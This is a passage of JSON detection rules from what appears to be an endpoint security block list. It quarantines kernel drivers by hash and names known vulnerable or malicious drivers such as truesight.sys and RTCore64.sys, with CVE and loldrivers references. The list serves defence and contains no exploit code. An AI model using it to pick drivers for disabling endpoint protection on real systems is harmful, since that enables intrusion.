+  "creation_date": "2026-03-23T11:45:31.483601Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.483611Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0ddb52f71b17725e01328632bc62197d8d880b6e349a7f96e153a8e3e1520e77",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8ecbf4ee-d4fb-5b07-a4aa-ee2060c2fd2b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.974108Z",
+  "creation_date": "2026-03-23T11:45:29.974110Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.974115Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ecd07df7ad6fee9269a9e9429eb199bf3e24cf672aa1d013b7e8d90d75324566",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8ed85ee6-98ce-5007-9860-0154fe9eb079",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.819498Z",
+  "creation_date": "2026-03-23T11:45:30.819500Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.819506Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3cb111fdedc32f2f253aacde4372b710035c8652eb3586553652477a521c9284",
+  "comment": "Vulnerable Kernel Driver (aka nvoclock.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8ee8010b-fc28-55d5-a9f8-aaaf94cdc63a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.452708Z",
+  "creation_date": "2026-03-23T11:45:30.452712Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.452721Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4bf4cced4209c73aa37a9e2bf9ff27d458d8d7201eefa6f6ad4849ee276ad158",
+  "comment": "Vulnerable Kernel Driver (aka fiddrv64.sys) [https://www.loldrivers.io/drivers/64f3d4b0-6d2b-4275-b3d4-15d092af4092/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8eeb1a20-0b06-589e-9cbf-a3c417ce9606",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.981700Z",
+  "creation_date": "2026-03-23T11:45:29.981704Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.981713Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0b205838a8271daea89656b1ec7c5bb7244c42a8b8000d7697e92095da6b9b94",
+  "comment": "Vulnerable Kernel Driver (aka ProxyDrv.sys) [https://www.loldrivers.io/drivers/0e3b0052-18c7-4c8b-a064-a1332df07af2/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8eec39d2-f7a3-50d7-9b99-d65f67de243a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.622759Z",
+  "creation_date": "2026-03-23T11:45:29.622761Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.622767Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a520ff5c754a1fb62ba88399a313d0c0fb99145ba2d3d91dbf4282388b77fa84",
+  "comment": "PassMark vulnerable driver (aka DirectIo32.sys and DirectIo64.sys) [CVE-2020-15479] [https://github.com/eset/vulnerability-disclosures/blob/master/CVE-2020-15479/CVE-2020-15479.md] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8ef5479c-0d31-5922-8c12-5a25ca1fb5ce",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.828365Z",
+  "creation_date": "2026-03-23T11:45:30.828367Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.828372Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "164e53bcd4af4a0cf7773f7570f43a8370521e3fba8e7da76fe6e46d93c54375",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8efc4026-0508-5aba-880e-6f6a6a92e56c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.490419Z",
+  "creation_date": "2026-03-23T11:45:31.490421Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.490427Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fed4296d2bd088e45850ef09c5f1f598b926a3602dab71e921e8a881af2dfb39",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8eff5a5f-b3c8-588f-a808-fbb2ba6cfd6d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.455730Z",
+  "creation_date": "2026-03-23T11:45:30.455734Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.455743Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6701433861742c08eb50f1e785962378143ad5b6c374ac29118168599f8a0f1c",
+  "comment": "Vulnerable Kernel Driver (aka HWiNFO32.SYS) [https://www.loldrivers.io/drivers/2225128d-a23f-434a-aaee-69a88ea64fbd/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8f0437d6-ffb1-5479-b7d3-b2423efd37ca",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.145659Z",
+  "creation_date": "2026-03-23T11:45:32.145661Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.145667Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "930da474a6d1be97b54f2c81e883e14d62897aa58622e5b040e412bd36cee0a7",
+  "comment": "Malicious Kernel Driver (aka driver_930da474.sys) [https://www.loldrivers.io/drivers/4c4e7664-af86-4483-858a-f59346f3d304/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8f098271-1543-5b6a-a9bf-00949da16756",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.818208Z",
+  "creation_date": "2026-03-23T11:45:30.818210Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.818215Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cb59a641adb623a65a9b5af1db2ffd921fd1ca1bc046a6df85d5f2e00fd0b5a5",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8f0a1565-5a6a-556d-8cb8-03d08d57f17f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.160720Z",
+  "creation_date": "2026-03-23T11:45:31.160722Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.160728Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ee73362a7b874688da240e0c26e85b9f94ff012708f57fdedaee8d81b015baba",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8f0c8bbe-2a1e-5a2e-93c4-8f510fd52491",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.455052Z",
+  "creation_date": "2026-03-23T11:45:30.455055Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.455063Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "40c45c9b1c764777096b59f99ae524cbd25b88c805187e615c3ed6840f3d4c15",
+  "comment": "Vulnerable Kernel Driver (aka Netfilter.sys) [https://www.loldrivers.io/drivers/9454a752-233e-4ba2-b585-8da242bf8f31/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8f172986-bb69-5d6a-934d-6c35d5d798c4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.460264Z",
+  "creation_date": "2026-03-23T11:45:30.460268Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.460277Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5ab48bf8c099611b217cc9f78af2f92e9aaeedf1cea4c95d5dd562f51e9f0d09",
+  "comment": "Vulnerable Kernel Driver (aka RTCore64.sys) [https://www.loldrivers.io/drivers/e32bc3da-4db1-4858-a62c-6fbe4db6afbd/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8f1c5ec8-cc49-5fe3-b6fd-568f18f93780",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.140418Z",
+  "creation_date": "2026-03-23T11:45:31.140420Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.140426Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a56f9efee818f2d92cbcaa4025d4a40ec1a32243226c3df5f6db8fb6be769e4b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8f1e87c1-621f-5148-9adc-ad850f97e833",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.821470Z",
+  "creation_date": "2026-03-23T11:45:30.821474Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.821483Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "767ef5c831f92d92f2bfc3e6ea7fd76d11999eeea24cb464fd62e73132ed564b",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8f218bde-cd11-5551-bcd3-3ba5b37d7d07",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.144481Z",
+  "creation_date": "2026-03-23T11:45:31.144483Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.144489Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "885c386e3349ab5feb9c8f53eb9d72c6cc0e34e7decb1cc67ca60d4ed55aff9f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8f24dfd0-32a7-58d2-8904-3a01a495c6c2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.482979Z",
+  "creation_date": "2026-03-23T11:45:31.482983Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.482994Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "23acb0b9873f8b4bfdd2ad9583a32d42bbd8ffa9ffa63ee6c56d2f2c36822caa",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8f2a7991-19dd-5588-b793-decfa50b507c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.159104Z",
+  "creation_date": "2026-03-23T11:45:31.159106Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.159111Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ebd5013c06979f4b14956b2b912d821a1afc2e78eb22e8e1f303f26c3afe6168",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8f2b33ae-861a-5e42-87ea-ae3c5dd272de",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.483629Z",
+  "creation_date": "2026-03-23T11:45:31.483633Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.483642Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2f2439b26ab2a365ae0014bbc008f78d9f1bb8772661de5600d21b61d9beffd4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8f2ead5c-ee58-579a-a96e-8a638e52ad4c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.982159Z",
+  "creation_date": "2026-03-23T11:45:29.982161Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.982166Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "acb65f96f1d5c986b52d980a1c5ea009292ff472087fdd8a98a485404948f585",
+  "comment": "Vulnerable Kernel Driver (aka rwdrv.sys) [https://www.loldrivers.io/drivers/b03798af-d25a-400b-9236-4643a802846f/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8f367a89-bb24-5471-aea6-0f915052d013",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.482916Z",
+  "creation_date": "2026-03-23T11:45:31.482920Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.482930Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "85620e543732b4d53062cdbf61d924ac29accbf7e6ea663fc39fd0c9a12900d0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8f3ac8a8-317d-535f-920e-dadf8135e37f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.830492Z",
+  "creation_date": "2026-03-23T11:45:30.830495Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.830500Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
